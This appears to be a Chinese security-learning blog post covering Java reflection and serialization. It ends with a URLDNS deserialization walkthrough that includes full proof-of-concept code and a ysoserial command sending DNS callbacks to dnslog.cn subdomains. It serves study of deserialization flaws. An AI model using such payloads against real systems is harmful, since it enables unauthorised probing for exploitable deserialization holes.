java_web学习之路(一):从啥也不会到反序列化


Java web学习记录

JDK JRE JVM 关系

JDK 包含 JRE , 还包含开发工具,编译 javac ,反编译 javap ,打包工具 jar。

JRE是Java程序运行环境,包括JVM,还包含其他程序运行需要的API,如rt.jar。

JVM是Java运行的核心,用来处理字节码,管理内存。

Java EE 分层模型

Java EE 核心

  • Java数据库链接 JDBC:用来规范客户端程序如何访问数据库的应用程序接口
  • Java命名和目录接口 JNDI:一个API,提供了一个目录系统,并将服务名称与对象关联起来,从而使开发人员在开发过程中可以用名称来访问对象
  • 企业级JavaBean EJB:是一个用来构建企业级应用的在服务端可被管理的组件
  • 远程方法调用 RMI:拥护开发分布式应用程序的API
  • Servlet:Java编写的服务端程序,狭义的Servlet是指Java语言实现的一个接口,广义的Servlet指任何实现该Servlet接口的类。主要功能在于交互式地浏览和修改数据,生成动态web内容
  • JSP:一种动态网页技术标准
  • XML:被设计用于传输和储存数据的语言
  • Java消息服务 JMS:一个Java平台中关于面向消息中间件(MOM)的API,用于在两个应用程序之间或分布式系统中发送消息,进行异步通信

Java EE 分层模型

  • Domain Object层(领域对象层):由一系列普通、传统的Java对象(POJO)组成,这些对象是该系统的Domain Object,通常包括各自所需实现的业务逻辑方法
  • DAO层(数据访问对象层):由一系列DAO组件组成,这些DAO实现了对数据库的各种操作
  • Service层:由一系列业务逻辑对象组成,这些业务逻辑对象实现了系统所需要的业务逻辑方法
  • Controller层:由一系列控制器组成,这些控制器用于拦截用户请求,并调用业务逻辑组件的业务逻辑方法去处理用户请求,然后根据处理结果向不同的View组件转发
  • View层:由一系列的页面及视图组件组成,负责收集用户请求,并显示处理后的结果

Servlet

Servlet是在Java web容器中运行的小程序,用户使用Servlet来处理一些较为复杂的服务端业务逻辑,通常用作HTTP servlet的简写。

Servlet 架构

Java反射

反射的定义

一般情况下,我们使用某个类时必定知道它是什么类,是用来做什么的。于是我们直接对这个类进行实例化,之后使用这个类对象进行操作。

HelloWorld helloworld = new HelloWorld(); //直接初始化,"正射"
helloworld.sayHello(4);

上面这样子进行类对象的初始化,我们可以理解为”正”。而反射则是一开始并不知道我要初始化的类对象是什么,自然也无法使用new关键字来创建对象了。这时候,我们使用JDK提供的反射API进行反射调用:

Class class = Class.forName("com.reflect.ReflectTest");
Method method = class.getMethod("sayhello", string.class);
Constructor constructor = class.getConstructor();
Object object = constructor.newInstance();
method.invoke(object, "Bob");

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

要想解剖一个类,必须先要获取到该类的字节码文件对象。而解剖使用的就是Class类中的方法.所以先要获取到每一个字节码文件对应的Class类型的对象.

反射就是把java类中的各种成分映射成一个个的Java对象

例如:一个类有:成员变量、方法、构造方法、包等等信息,利用反射技术可以对一个类进行解剖,把各个组成部分映射成一个个对象。(其实:一个类中这些成员方法、构造方法、在加入类中都有一个类来描述) 如图是类的正常加载过程:反射的原理在于class对象。熟悉一下加载的时候:Class对象的由来是将class文件读入内存,并为之创建一个Class对象。

获取Runtime类Class对象代码片段

String className     = "java.lang.Runtime";
Class  runtimeClass1 = Class.forName(className);
Class  runtimeClass2 = java.lang.Runtime.class;
Class  runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);

通过以上任意一种方式就可以获取java.lang.Runtime类的Class对象了。

反射调用内部类的时候需要使用**$来代替.,如com.reflect.ReflectTest类有一个叫做Hello的内部类,那么调用的时候就应该将类名写成:com.reflect.ReflectTest$Hello**。

获取类对象

使用forName()方法

public class GetClassName {
    public static void main(String[] args) throws ClassNotFoundException {
        Class name = Class.forName("java.lang.Runtime");
        System.out.println(name);
    }
}

image-20220211091828362

image-20220211091837203

直接获取

任何数据类型都具有静态的属性,因此可使用.class直接获取其对应的Class对象。需要用到类中的静态成员

public class GetClassName {
    public static void main(String[] args) throws ClassNotFoundException {
        Class<?> name = Runtime.class;
        System.out.println(name);
    }
}

使用getClass()方法

可以通过Object类中的getClass()方法来获取字节码对象。需要指明具体的类,然后创建对象

public class GetClassName {
    public static void main(String[] args) throws ClassNotFoundException {
        Runtime rt = Runtime.getRuntime();
        Class<?> name = rt.getClass();
        System.out.println(name);
    }
}

使用getSystemClassLoader().loadClass()方法

getSystemClassLoader().loadClass()与forName()方法类似,只要有类名称即可。区别在于forName()的静态方法JVM会装载类,并且执行static()中的代码;而getSystemClassLoader().loadClass不会执行。

public class GetClassName {
    public static void main(String[] args) throws ClassNotFoundException {
        Class<?> name = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");
        System.out.println(name);
    }
}

获取类方法

getDeclaredMethods()

getDeclaredMethods()方法返回类或接口声明的所有方法,包括public protected private和默认方法,但不包括继承的方法。

import java.lang.reflect.Method;
public class GetClassName {
    public static void main(String[] args) throws ClassNotFoundException {
        Class<?> name = Class.forName("java.lang.Runtime");
        Method[] declareMethods = name.getDeclaredMethods();
        System.out.println("通过getDeclaredMethods()方法获取方法");
        for(Method m:declareMethods)
            System.out.println(m);
    }
}

运行结果如下图

image-20220211175124663

关于代码的一些细节(没系统学过Java 流下了眼泪

Method[] declareMethods = name.getDeclaredMethods();

在Java中,声明数组的格式是

dataType[] arrayRefVar;//首选
//或者
dataType arrayRefVar[];  // 效果相同,但不是首选方法

所以在这行代码中,Method是数据类型,也就是我们需要的方法数组

for(Method m:declareMethods)
	System.out.println(m);

这是Java遍历数组常见的一种方法

for (double element: myList)
	System.out.println(element);

getMethods()

getMethods()返回某个类中的所有public方法,包括其继承类的public方法

import java.lang.reflect.Method;
public class GetClassName {
    public static void main(String[] args) throws ClassNotFoundException {
        Runtime rt = Runtime.getRuntime();
        Class<?> name = rt.getClass();
        Method[] methods = name.getMethods();
        System.out.println("getMethods()获取的方法:");
        for(Method m:methods)
            System.out.println(m);
    }
}

image-20220211180432623

上图中包含了继承类的方法

Java序列化和反序列化

序列化与反序列化的定义

  • Java序列化是将Java对象转换为字节序列的行为
  • Java反序列化即序列化的反向操作,将字节序列恢复为对象的过程

序列化与反序列化的具体代码实现

  • 在ObjectOutputStream 中使用 writeObject 方法,将对象以二进制格式进行写入
  • 在ObjectInputStream 中使用 readObject 方法,从输入流中读取二进制流,转换成对象
package com.ser;

import java.io.Serializable;

public class Customer implements Serializable {
        private static long serialVersionUID;
private String name;
        private int age;
private String sex;

public String getName() {
        return name;
        }

public void setName(String name) {
        this.name = name;
        }

public int getAge() {
        return age;
        }

public void setAge(int age) {
        this.age = age;
        }

public String getSex() {
        return sex;
        }

public void setSex(String sex) {
        this.sex = sex;
        }
        }
package com.ser;

import java.io.*;
import java.text.MessageFormat;

public class SerializeDemo{
public static void main(String[] args) throws IOException, ClassNotFoundException {
        SerializeCustomer();
        Customer customer = DeserializeCustomer();
        System.out.println(MessageFormat.format("age:{0}, name:{1}, sex:{2}",customer.getAge(),customer.getName(),customer.getSex()));
        }

static void SerializeCustomer() throws IOException {
        Customer customer = new Customer();
        customer.setAge(24);
        customer.setName("m1yuu");
        customer.setSex("male");
        ObjectOutputStream oos = new ObjectOutputStream(
        new FileOutputStream(new File("C:\\Users\\Administrator\\customer")));
        oos.writeObject(customer);
        oos.close();
        }

static Customer DeserializeCustomer() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("C:\\Users\\Administrator\\customer")));
        Customer customer = (Customer) ois.readObject();
        return customer;
        }
        }

image-20220225104740882

  • 0xaced:魔术头
  • 0x0005:版本号
  • 0x73,对象类型标识 0x7n基本上都定义了类型标识符常量,但也要看出现的位置,毕竟它们都在可见字符的范围,详见java.io.ObjectStreamConstants
  • 0x72,类描述符标识
  • 0x0008...,类名字符串长度和值 (Java序列化中的UTF8格式标准)
  • 0xac7ba91da37b53e5,序列版本唯一标识 serialVersionUID,简称SUID)
  • 0x02,对象的序列化属性标志位,如是否是Block Data模式、自定义writeObject()SerializableExternalizableEnum类型等
  • 0x0003,类的字段个数
  • 0x49,整数类型签名的第一个字节,同理,之后的0x4c为字符串类型签名的第一个字节 (类型签名表示与JVM规范中的定义相同)
  • 0x0003...,字段名字符串长度和值,非原始数据类型的字段还会在后面加上数据类型标识、完整类型签名长度和值,如之后的0x4c0003...
  • 0x78 Block Data结束标识
  • 0x70 父类描述符标识,此处为null

SerialVersionUID

serialVersionUID适用于java序列化机制。简单来说,JAVA序列化的机制是通过 判断类的serialVersionUID来验证的版本一致的。在进行反序列化时,JVM会把传来的字节流中的serialVersionUID于本地相应实体类的serialVersionUID进行比较。如果相同说明是一致的,可以进行反序列化,否则会出现反序列化版本一致的异常,即是InvalidCastException。

具体序列化的过程:

序列化操作时会把系统当前类的serialVersionUID写入到序列化文件中,当反序列化时系统会自动检测文件中的serialVersionUID,判断它是否与当前类中的serialVersionUID一致。如果一致说明序列化文件的版本与当前类的版本是一样的,可以反序列化成功,否则就失败;

serialVersionUID有两种显示的生成方式:一是默认的1L,比如:

privatestaticfinallong serialVersionUID = 1L;    

二是根据包名,类名,继承关系,非私有的方法和属性,以及参数,返回值等诸多因子计算得出的,极度复杂生成的一个64位的哈希字段。基本上计算出来的这个值是唯一的。比如:

privatestaticfinallong serialVersionUID = xxxxL;

演示(URLDNS)

poc测试代码:URLDNS.java

package com.URLDNSTest;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        //0x01.生成payload
        //设置一个hashMap
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        //设置我们可以接受DNS查询的地址,这里使用的是dnslog
        URL url = new URL("http://ch16ri.dnslog.cn");
        //将URL的hashCode字段设置为允许修改
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        //**以下的蜜汁操作是为了不在put中触发URLDNS查询,如果不这么写就会触发两次(之后会解释)**
        //1. 设置url的hashCode字段为0xdeadbeef(随意的值)
        f.set(url, 0xdeadbeef);
        //2. 将url放入hashMap中,右边参数随便写
        hashMap.put(url, "m1yuu");
        //修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)
        f.set(url, -1);
        //0x02.写入文件模拟网络传输
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);
        //0x03.读取文件,进行反序列化触发payload
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
    }
}

About HashMap

HashMap 是一个散列表,它存储的内容是键值对(key-value)映射。

HashMap 实现了 Map 接口,根据键的 HashCode 值存储数据,具有很快的访问速度,最多允许一条记录的键为 null,不支持线程同步。

HashMap 是无序的,即不会记录插入的顺序。

HashMap 继承于AbstractMap,实现了 Map、Cloneable、java.io.Serializable 接口。

img

https://www.runoob.com/java/java-hashmap.html

反序列化过程

java.util.HashMap#writeObject分为三个步骤进行序列化:

1.序列化写入一维数组的长度(不是特别确定,但是这个值在反序列化中是不使用的,所以不太重要)

2.序列化写入键值对的个数

3.序列化写入键值对的键和值;

在HashMap.java中可以看到HashMap类拓展了序列化的接口。我们定位到readObject的位置,在putval方法的位置下断点

putVal是往HashMap中放入键值对的方法

image-20220306193549799

跟进,看到hash函数方法传入的key是我们目标url对象

image-20220306193754384

继续跟进,跟到hashCode()方法,可以看到下面进行了InetAddress addr = getHostAddress(u);,成功触发。所以调用路线即为

HashMap->readObject()->hash()->URL.class->hashcode()->UrlStreamHandler.class->hashcode()->InetAddress addr = getHostAddress(u);

所以我们要执行的是的是URL查询的方法URL->hashCode()

使用ysoserial生成文件并且触发

安装ysoserial

github仓库地址:https://github.com/frohoff/ysoserial.git

两种安装方式:

生成文件out.bin

首先去dnslog获取get subdomain,在jar包存在的文件夹下(本地使用maven编译后的jar包所在文件夹为*/ysoserial/target)运行如下:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://lwkjw8.dnslog.cn > out.bin

使用hexdump查看out.bin内容:

image-20220311092228696
编写反序列化代码
package com.URLDNS;

import java.io.*;

public class URLDNSTest {
public static void main(String[] args) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream("/Users/m1saka/tools/ysoserial/target/out.bin");
        ObjectInputStream bit = new ObjectInputStream(fis);
        bit.readObject();
        }
        }

运行成功后可在dnslog平台看到记录。

image-20220311092618714

在ysoserial的URLDNS.java文件中,注释也展示出了反序列化所利用的链:

image-20220311093123597

文章作者: Wh1teR0be
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Wh1teR0be !
  目录